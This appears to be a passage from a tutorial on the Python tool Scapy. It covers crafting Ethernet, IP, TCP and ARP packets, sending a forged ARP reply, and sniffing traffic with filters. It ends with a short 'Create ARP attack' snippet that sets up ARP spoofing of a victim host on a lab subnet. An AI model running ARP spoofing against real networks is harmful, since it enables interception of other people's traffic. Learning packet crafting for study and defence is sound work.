

```
packet = Ether()
TCP packet (requires the destination port and the flag value):
packet=TCP(dport=53,flags='S')
IP packet (requires just the destination IP address):
packet = IP(dst='8.8.8.8')
ARP packet(requires destination address and apparent source
address):
PacketARP=ARP(op=2,pdst='172.16.67.1',psrc="172.16.67.129")
```

```
In [9]: from scapy.all import*

In [17]: packetEther = Ether()

In [18]: packetIP = IP(dst='8.8.8.8')

In [19]: PacketTCP=TCP(dport=53,flags='S')

In [21]: PacketARP=ARP(op=2,pdst='172.16.67.1',psrc="172.16.67.129")
```

Figure 2: Creation of packets

Our packets are now created.

Sending your packets

To send your packets, you can simply use the following *send* command:

```
send(packet)
```

```
In [22]: send(PacketARP)

Sent 1 packets.
```

Figure 3: Sending packets

We can also sniff for any type of packet, as depicted in Figures 4 to 7.

```
In [12]: sniffed_packets = sniff(count=10)

In [13]: len(sniffed_packets)

Out[13]: 10

In [18]: sniffed_packets.nsummary()

0000 Ether / IP / TCP 172.16.67.129:54730 > 13.33.171.103:https PA / Raw
0001 Ether / IP / TCP 13.33.171.103:https > 172.16.67.129:54730 A / Padding
0002 Ether / IP / TCP 13.33.171.103:https > 172.16.67.129:54730 PA / Raw
0003 Ether / IP / TCP 172.16.67.129:54730 > 13.33.171.103:https A
0004 Ether / IP / UDP / DNS Qry 'b'forums.kali.org.'"
0005 Ether / IP / UDP / DNS Ans "192.124.249.12"
0006 Ether / IP / UDP / DNS Ans
0007 Ether / IP / UDP / DNS Ans
0008 Ether / IP / TCP 172.16.67.129:42414 > 192.124.249.12:https S
0009 Ether / IP / TCP 192.124.249.12:https > 172.16.67.129:42414 SA / Padding
```

Figure 4: Sniffing packets of any kind

We can also create a simple ARP spoofing attack using Scapy, as shown in Figure 8.

Do give it a try! 

```
In [31]: ipsniff=sniff(filter="ip",count=10)

In [32]: ipsniff.nsummary()

0000 Ether / IP / TCP 172.16.67.129:33892 > 142.250.67.68:https PA / Raw
0001 Ether / IP / TCP 142.250.67.68:https > 172.16.67.129:33892 A / Padding
0002 Ether / IP / TCP 172.16.67.129:33892 > 142.250.67.68:https PA / Raw
0003 Ether / IP / TCP 142.250.67.68:https > 172.16.67.129:33892 A / Padding
0004 Ether / IP / TCP 142.250.67.68:https > 172.16.67.129:33892 PA / Raw
0005 Ether / IP / TCP 142.250.67.68:https > 172.16.67.129:33892 PA / Raw
0006 Ether / IP / TCP 172.16.67.129:33892 > 142.250.67.68:https A
0007 Ether / IP / TCP 172.16.67.129:33892 > 142.250.67.68:https PA / Raw
0008 Ether / IP / TCP 142.250.67.68:https > 172.16.67.129:33892 A / Padding
0009 Ether / IP / TCP 172.16.67.129:33892 > 142.250.67.68:https PA / Raw
```

Figure 5: Sniffing IP packets

```
In [9]: ipsniff=sniff(filter="udp",count=10)

In [10]: ipsniff.nsummary()

0000 Ether / IP / UDP / DNS Qry 'b's.yting.com.'"
0001 Ether / IP / UDP / DNS Qry 'b's.yting.com.'"
0002 Ether / IP / UDP / DNS Ans "2404:6800:4009:80d::200e"
0003 Ether / IP / UDP / DNS Ans "172.217.166.78"
0004 Ether / IP / UDP / DNS Qry 'b'i.yting.com.'"
0005 Ether / IP / UDP / DNS Qry 'b'fonts.gstatic.com.'"
0006 Ether / IP / UDP / DNS Ans "172.217.27.214"
0007 Ether / IP / UDP / DNS Ans "b'gstaticadssl.l.google.com.'"
0008 Ether / IP / UDP / DNS Qry 'b'ocsp.pki.goog.'"
0009 Ether / IP / UDP / DNS Ans "b'pki-goog.l.google.com.'"

```

Figure 6: Sniffing UDP packets

```
In [17]: ipsniff=sniff(filter="icmp",count=30)

In [18]: ipsniff.nsummary()

0000 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0001 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0002 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0003 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0004 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0005 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0006 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0007 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0008 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0009 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0010 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0011 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0012 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0013 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0014 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0015 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0016 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0017 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0018 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0019 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0020 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0021 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0022 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0023 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0024 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0025 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0026 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0027 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
0028 Ether / IP / ICMP 172.16.67.1 > 172.16.67.129 echo-request 0 / Raw
0029 Ether / IP / ICMP 172.16.67.129 > 172.16.67.1 echo-reply 0 / Raw
```

Figure 7: Sniffing ICMP packets

```
In [*]: from subprocess import call
import time

op=1
victim="172.16.67.131"
victim=victim.replace(" ", "")

spoofer="172.16.67.129"
spoofer=spoofer.replace(" ", "")

mac="00:0c:29:f0:ac:9e"
mac=mac.replace("-", ":")
mac=mac.replace(" ", "")

arp=ARP(op=op,psrc=spoofer,pdst=victim,hwdst=mac)
```

Figure 8: Create ARP attack

 **By: Jishnu Saurav Mittapalli**

The author is a full stack Web developer. He is currently working on his research paper for developing a mechanism to detect phishing attacks in Linux.